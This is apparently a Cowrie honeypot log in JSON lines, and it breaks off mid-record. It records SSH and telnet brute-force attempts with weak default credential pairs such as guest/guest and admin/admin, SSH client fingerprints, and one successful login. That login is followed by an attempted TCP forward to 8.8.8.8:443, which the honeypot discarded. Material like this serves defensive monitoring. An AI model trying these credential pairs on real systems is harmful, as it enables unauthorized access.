{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47418,"dst_ip":"10.17.0.5","dst_port":22,"session":"3257347ac560","protocol":"ssh","message":"New connection: 45.156.87.253:47418 (10.17.0.5:22) [session: 3257347ac560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:42.217384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:42.220916Z","src_ip":"45.156.87.253","session":"3257347ac560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:42.270957Z","src_ip":"103.122.221.179","session":"eecbbf8d7ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:42.301228Z","src_ip":"45.156.87.253","session":"3257347ac560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:42.543301Z","src_ip":"45.156.87.253","session":"3257347ac560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:43.626173Z","src_ip":"45.156.87.253","session":"3257347ac560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47432,"dst_ip":"10.17.0.5","dst_port":22,"session":"6532f1733091","protocol":"ssh","message":"New connection: 45.156.87.253:47432 (10.17.0.5:22) [session: 6532f1733091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:45.094180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:45.097011Z","src_ip":"45.156.87.253","session":"6532f1733091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:45.179111Z","src_ip":"45.156.87.253","session":"6532f1733091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:45.421893Z","src_ip":"45.156.87.253","session":"6532f1733091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:46.505414Z","src_ip":"45.156.87.253","session":"6532f1733091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44828,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94768bba34d","protocol":"telnet","message":"New connection: 107.6.151.170:44828 (159.203.135.109:23) [session: e94768bba34d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:46.891520Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47440,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc26414cf99b","protocol":"ssh","message":"New connection: 45.156.87.253:47440 (10.17.0.5:22) [session: cc26414cf99b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:48.027961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:48.031519Z","src_ip":"45.156.87.253","session":"cc26414cf99b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:48.111686Z","src_ip":"45.156.87.253","session":"cc26414cf99b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:48.376657Z","src_ip":"45.156.87.253","session":"cc26414cf99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:49.459689Z","src_ip":"45.156.87.253","session":"cc26414cf99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":48638,"dst_ip":"10.17.0.5","dst_port":22,"session":"207156dcfc96","protocol":"ssh","message":"New connection: 195.178.110.137:48638 (10.17.0.5:22) [session: 207156dcfc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.016437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.022450Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.107469Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.424073Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"8.8.8.8","dst_port":443,"src_ip":"195.178.110.137","src_port":0,"message":"direct-tcp connection request to 8.8.8.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.511829Z","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"8.8.8.8","dst_port":443,"ja4":"t12d131100_f57a46bbacb6_4b7cee5f0569","message":"JA4 fingerprint for forwarded TLS to 8.8.8.8:443: t12d131100_f57a46bbacb6_4b7cee5f0569","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:50.757908Z","src_ip":"195.178.110.137","session":"207156dcfc96","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"8.8.8.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03\\xd4<\\x87a{*\\xb9!\\x99\\xdb\\xdf;\\x9f*\\x18\\xbb\\xe8\\x87@5ONv\\x1c\\xf0\\x19c\\x9e\\x00\\xf3\\xce\\xf4 \\xf7\\x9cS\\x05\\xef\\xfb\\xce\\xb7\\xeet\\xed\\xed\\xc0\\x19ZD\\xaa\\x0b\\xc7Ko\\xae\\x01jU{\\x89\\x10PWG\\xfe\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0h\\x93\\xcc^\\xd9O\\xf6\\xb1o\\xfer=E\\xe7\\x80\\x931\\xb4\\xcc\\x9cH\\xc55\\x86\\x06\\xf2\\x89\\xda@Y\\x8f\\xe5\\x9bB\\xf8\\x8f\\x92\\xeaN\\x0c\\xf3\\xbc\\xd0\\nT\\x0b\\x82*\\xf5 7,\\x0b\\x84\\xa3\\x13\\x14G\\xf5\\xc5,Ky\\xf4\\xa7\\x18\\x93\\xf2\\x95\\x15aK\\xe5\\x8b}\\x8e\\xb45\\xebp]\\xfe\\x81%,\\x8ad\\x95\\xa5<\\x19\\x14\\xc6\\xac\\xe1\\xbf\\xc1\\x14, \\x82Q\\xffJ\\x95\\xf3\\xf1\\xc9\\x85)10\\xf0s(Yd8\\x176\\xaf\\xa7\\x16z\\xe0\\x1d\\xdc8r{%a\\x15\\xd7\\x8f\\x89\\xbc\\x9c\\xfb*k+\\xb5&. C\\xb4\\xa0$[\\xf7?\\xddAU\\x1c\\xc4\\x1d\\x99L~\\xde1\\x8a\\x97\\x90P\\x96@\\x82\\x87| \\xab\\x8a,\\xee 4\\x8a\\x07\\x82R\\xd6bA\\xe8\\x96\\x84\\xd4JB\\x06M\\x16\\xb1\\x8d\\x8bBu\\x9e\\x01et\\xb3fA\\xf2\\xa5\\x07\\x83I\\x9e\\xb6\\x16\\x85\\x9a\\xc16\\x81B\\x08R\\xa3\\x1c\\x99\\tz\\xa7\\x12\\xf5\\xe5\\xb2\\xc9\\x99V\\xc6)\\x82Z\\xe7\\xafqc\\x0c\\x003\\x15\\x1e\\xe1\\x10?p6\\x80K6\\x12\\xc1\\x90\\xf6\\xf0\\xcc\\xc4{H\\xc5\\xc3\\xaas\\xb2S\\x92++$it2\\x9ch\\x11\\xc8\\xa7\\xeds{\\x88\\x16b\\x12W]\\xf7\\x1axQ\\n\\xb7\\x10\\x97\\x15\\xc796L\\xcc\\xa2\\x8e\\xb3\\xb1\\xcd\\xf7\\xcbFa\\x15T\"\\x94A\\x9c\\xae~JY\\x8e\\xd8\\x8dc\\xca\\x15< \\x95\\x9dD\\x02X\\xc8\\xa7\\xb1\\xd9L\\x10\\xf8\\x17s\\xe9EC\\x93(\\x1eU<\\x8f\\x8aPS\\xa5\\x8b\\xfbP\"\\x9f\\xfc\\x81k\\x10-r\\x0b\\x9a\\x9d\\xfc\\'\\x17\\xf0\\x9e\\x81P\\x16\\x12\\xd9Bf\\xb0\\x8a\\xc4\\xd5aW\\xd7\\xbb\\xf8H\\x99C\\xf5q\\x979\\x9a\\xf7R\\x0c5\\x1c\\xab\\x87cT\\x85[\\x1f\\xba\\x91\\xc4\\x94\\xf5\\x9d<\\xc6\\x9d\\x1bI\\xa3\\x85\\xc8`J\\xf7w\\xb5\\x19\\xbf\\xef\\x8a\\x1a\\xc9\\x01\\xb3V\\x05\\xb8p\\x94Tv\\xd5`\\xc9Amw\\xc5\\x81\\xc7PLa\\x97D\\xdf(\\x84\\x06p\\xbc\\xe0\\xa6\\x14oE\\x96q\\x85\\x83\\xda&v3\\x8b\\x14\\xf1\\xd0\\x9f]\\xe2B\\x84\\xc7\\xbf\\xb7\\xe4\\x98E\\xc3&xs#h\\x1a#\\x0b\\xd2D\\xb7\\x80\\x95{;\\x1e\\xdf\\xbc\\x8f\\xde<Ac \\xbc\\x99\\x9cF\\xcd\\x10\\xb3)\\x9bh\\x95\\x88Q\\xc5\\x86\\x87\\xf0\\x83\\x88\\x05eSUE\\x96 ;\\xa3F\\xa8$\\x98\\xa2\\x97\\xac\\xf4\\xb8\\xf4\\x94>\\xc5\\x19\\x82E\\'_w\\x82-\\x9c!U\\xe9\\xd1k\\xd7j\\x08r\\xd0f\\xbaVt\\xe1\\xb9:\\xeb\\x96\\x14\\xf1\\x06\\x88\\x1d\\x80=\\xc6\\xd0\\x0f^\\xf9\\x114\\x90/\\xd4\\x01\\xb8\\xc6\\xa0A\\xa2`\\x9e\\xa1\\xe3\\x94\\xf3,\\x94\\xa2\\xe2\\x99o\\x04\\xcfn\\x8b\\x07\\x9c\\xb2_\\xc6|\\xa0p\\xb2JV;\\x901\\x8a\\xc2w\\x9cN\\xb6\\x12-g\\xbaDQ\\x129\\xc6\\xb5\\xa5\\xe5\\xc7_a\\xa9\\xb6\\xf2D\\x8d:\\x96!\\xf2\\xb2\\x89\\x92\\xd1\\x9c<\\x15\\xb8\\xe3\\x84\\xb5k\\xd9\\x89\\xfdw\\xc5\\xae\\xf1\\x19I\\xd8\\xb1;@w\\xfa\\xa0\\xc5\\xa4)8\\xfbWGy\\xfa\\xc3\\x15C6\\xa6\\xd5>\\xc6v\\xcf\\r\\xa9\\x99\\xdf|g<+\\x00\\x01\\xc5\\xb7\"\\x1c\\x90TkC\\x1d\\xab\\xbdf\\xe7%x\\x06\\xc5\"\\x19\\xc8\\xd8P_u\\xe3\\x84y\\xe3Z\\x00X\\t\\xb9\\xaa\\xbc\\xdef\\xcd\\x89v\\x9f/\\xa7\\x11\\xca\\x91\\xae\\x8b\\xe2\\x7f\\xf6\\xda\\x845ua\\x9f\\xeb\\tT\\x98\\xc5q\\x96\\x8f\\xbb\\x04d\\x84\\x01~\\x8f\\xcc\\x90>6\\x15\\xaarCg\\x15\\xc0E\\x96\\x8ft)j\\xba\\xc9s4i\\x99\\xd8\\xbc\\x9c\\x95;\\x84\\xf2\\'W\\xcc\\xf0\\xbd19\\\\\\x9f\\xa9\\xbf5\\xe7\\xb9\\x914I\\xc3\\x80;\\xcc\\x15\\x1e\\xdc\\x86y}9\\x0e\\xb9@\\xbf\\xe9\\t\\x17\\x15\\xf5\\xa6\\xd1\\xe4\\xa1\\xfau\\xc4\\xf74(\\x8d\\xb3\\xa0\\xbb&D\\xe7\\xd3\\xce\\xb0E\\x08\\xedA\\x8f;9dO\\x11\\xb0 \\xc2\\x02\\x9e\\xc9\\x9a\\xd5\\xf6k\\xd7\\x13W\\x8c\\xb9\\x01\\xf4zCv\\xbc1\\x99<\\x0eq\\xa7\\xcb\\t<\\x8d\\xf7\\x16\\xcf\\x03F\\x8f=\\xa0\\x18\\xbd\\x19\\xb7Z\\x937\\x12k\\xbcm\\te\\x8e$\\'K\"\\x9ci8\\xb8\\x7f\\x84B>\\xd4\\x8ai\\x94/\\xd1\\x81\\x03\\x89c\\x17\\xaa\\xacOM\\x88\\xb0\\xc5\\x89b4\\n\\x04\\xf8d{\\xc6\\xf3xD\\x07\\x06\\x97x\\xcf`!\\xaeSS[|\\x12G\"\\x19^Jy\\x94\\xf8l\\x0f\\xa1G\\x98\\x8b\\x13\\x1dl3\\xb2\\xfcx\\x92\\t\\xb2\\xb5\\x1a;\\x12\\x0bP9\\x8b`B\\x9d\\xac#\\x8d\\xdc\\x1e#\\xcb\\xaao\\x89\\x04\\xd7\\xbb\\x93>;\\xbb\\xfb\\x19Q\\x17gy\\x07\\xdb\\ra!\\x9c\\x98\\xda_\\x05E!?T]\\x8e0\\x17\\xa4\\x96\\xb2/\\xd7\\x98\\xa0%\\t\\xba1\\xb6\\xdc\\xe4Y\\n{|h\\x92J2\\xf7\\x02\\x03z\\\\\\x141\\x91\\x9d\\x14\\x81\\xe0\\x13\\x06\\xfc\\xb0\\x82\\x9f!\\xb9\\x13\\xf5$\\xa2\\xb3\\xa4\\x9aA^ \\xa4\\x96=\\x88juI\\xbf\\xa8i\\x1e\\xd7\\x82k\\xdf\\xfa,\\x86@\\xf0\\xa3^\\xaa\\x9c\\xc5\\x9e\\xaeMH\"\\t\\xd7le_J\\x8b\\xcduM\\xab7\\xf7\\x81\\xd5\\xeaf\\xf6\\xaa$\\x00\\xd0\\x8c\\x96}~\\x9b`\\x88\\xb1\\xc8\\xaa\\x00Pa\\xba\\x82\\x01\\xdb\\x8b\\x02\\x90[\\x06\\xd9\\xa7%\\x0f\\x00\\x1d\\x00 f\\xf6\\xaa$\\x00\\xd0\\x8c\\x96}~\\x9b`\\x88\\xb1\\xc8\\xaa\\x00Pa\\xba\\x82\\x01\\xdb\\x8b\\x02\\x90[\\x06\\xd9\\xa7%\\x0f'","id":0,"message":"discarded direct-tcp forward request 0 to 8.8.8.8:443 with data b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03\\xd4<\\x87a{*\\xb9!\\x99\\xdb\\xdf;\\x9f*\\x18\\xbb\\xe8\\x87@5ONv\\x1c\\xf0\\x19c\\x9e\\x00\\xf3\\xce\\xf4 \\xf7\\x9cS\\x05\\xef\\xfb\\xce\\xb7\\xeet\\xed\\xed\\xc0\\x19ZD\\xaa\\x0b\\xc7Ko\\xae\\x01jU{\\x89\\x10PWG\\xfe\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0h\\x93\\xcc^\\xd9O\\xf6\\xb1o\\xfer=E\\xe7\\x80\\x931\\xb4\\xcc\\x9cH\\xc55\\x86\\x06\\xf2\\x89\\xda@Y\\x8f\\xe5\\x9bB\\xf8\\x8f\\x92\\xeaN\\x0c\\xf3\\xbc\\xd0\\nT\\x0b\\x82*\\xf5 7,\\x0b\\x84\\xa3\\x13\\x14G\\xf5\\xc5,Ky\\xf4\\xa7\\x18\\x93\\xf2\\x95\\x15aK\\xe5\\x8b}\\x8e\\xb45\\xebp]\\xfe\\x81%,\\x8ad\\x95\\xa5<\\x19\\x14\\xc6\\xac\\xe1\\xbf\\xc1\\x14, \\x82Q\\xffJ\\x95\\xf3\\xf1\\xc9\\x85)10\\xf0s(Yd8\\x176\\xaf\\xa7\\x16z\\xe0\\x1d\\xdc8r{%a\\x15\\xd7\\x8f\\x89\\xbc\\x9c\\xfb*k+\\xb5&. C\\xb4\\xa0$[\\xf7?\\xddAU\\x1c\\xc4\\x1d\\x99L~\\xde1\\x8a\\x97\\x90P\\x96@\\x82\\x87| \\xab\\x8a,\\xee 4\\x8a\\x07\\x82R\\xd6bA\\xe8\\x96\\x84\\xd4JB\\x06M\\x16\\xb1\\x8d\\x8bBu\\x9e\\x01et\\xb3fA\\xf2\\xa5\\x07\\x83I\\x9e\\xb6\\x16\\x85\\x9a\\xc16\\x81B\\x08R\\xa3\\x1c\\x99\\tz\\xa7\\x12\\xf5\\xe5\\xb2\\xc9\\x99V\\xc6)\\x82Z\\xe7\\xafqc\\x0c\\x003\\x15\\x1e\\xe1\\x10?p6\\x80K6\\x12\\xc1\\x90\\xf6\\xf0\\xcc\\xc4{H\\xc5\\xc3\\xaas\\xb2S\\x92++$it2\\x9ch\\x11\\xc8\\xa7\\xeds{\\x88\\x16b\\x12W]\\xf7\\x1axQ\\n\\xb7\\x10\\x97\\x15\\xc796L\\xcc\\xa2\\x8e\\xb3\\xb1\\xcd\\xf7\\xcbFa\\x15T\"\\x94A\\x9c\\xae~JY\\x8e\\xd8\\x8dc\\xca\\x15< 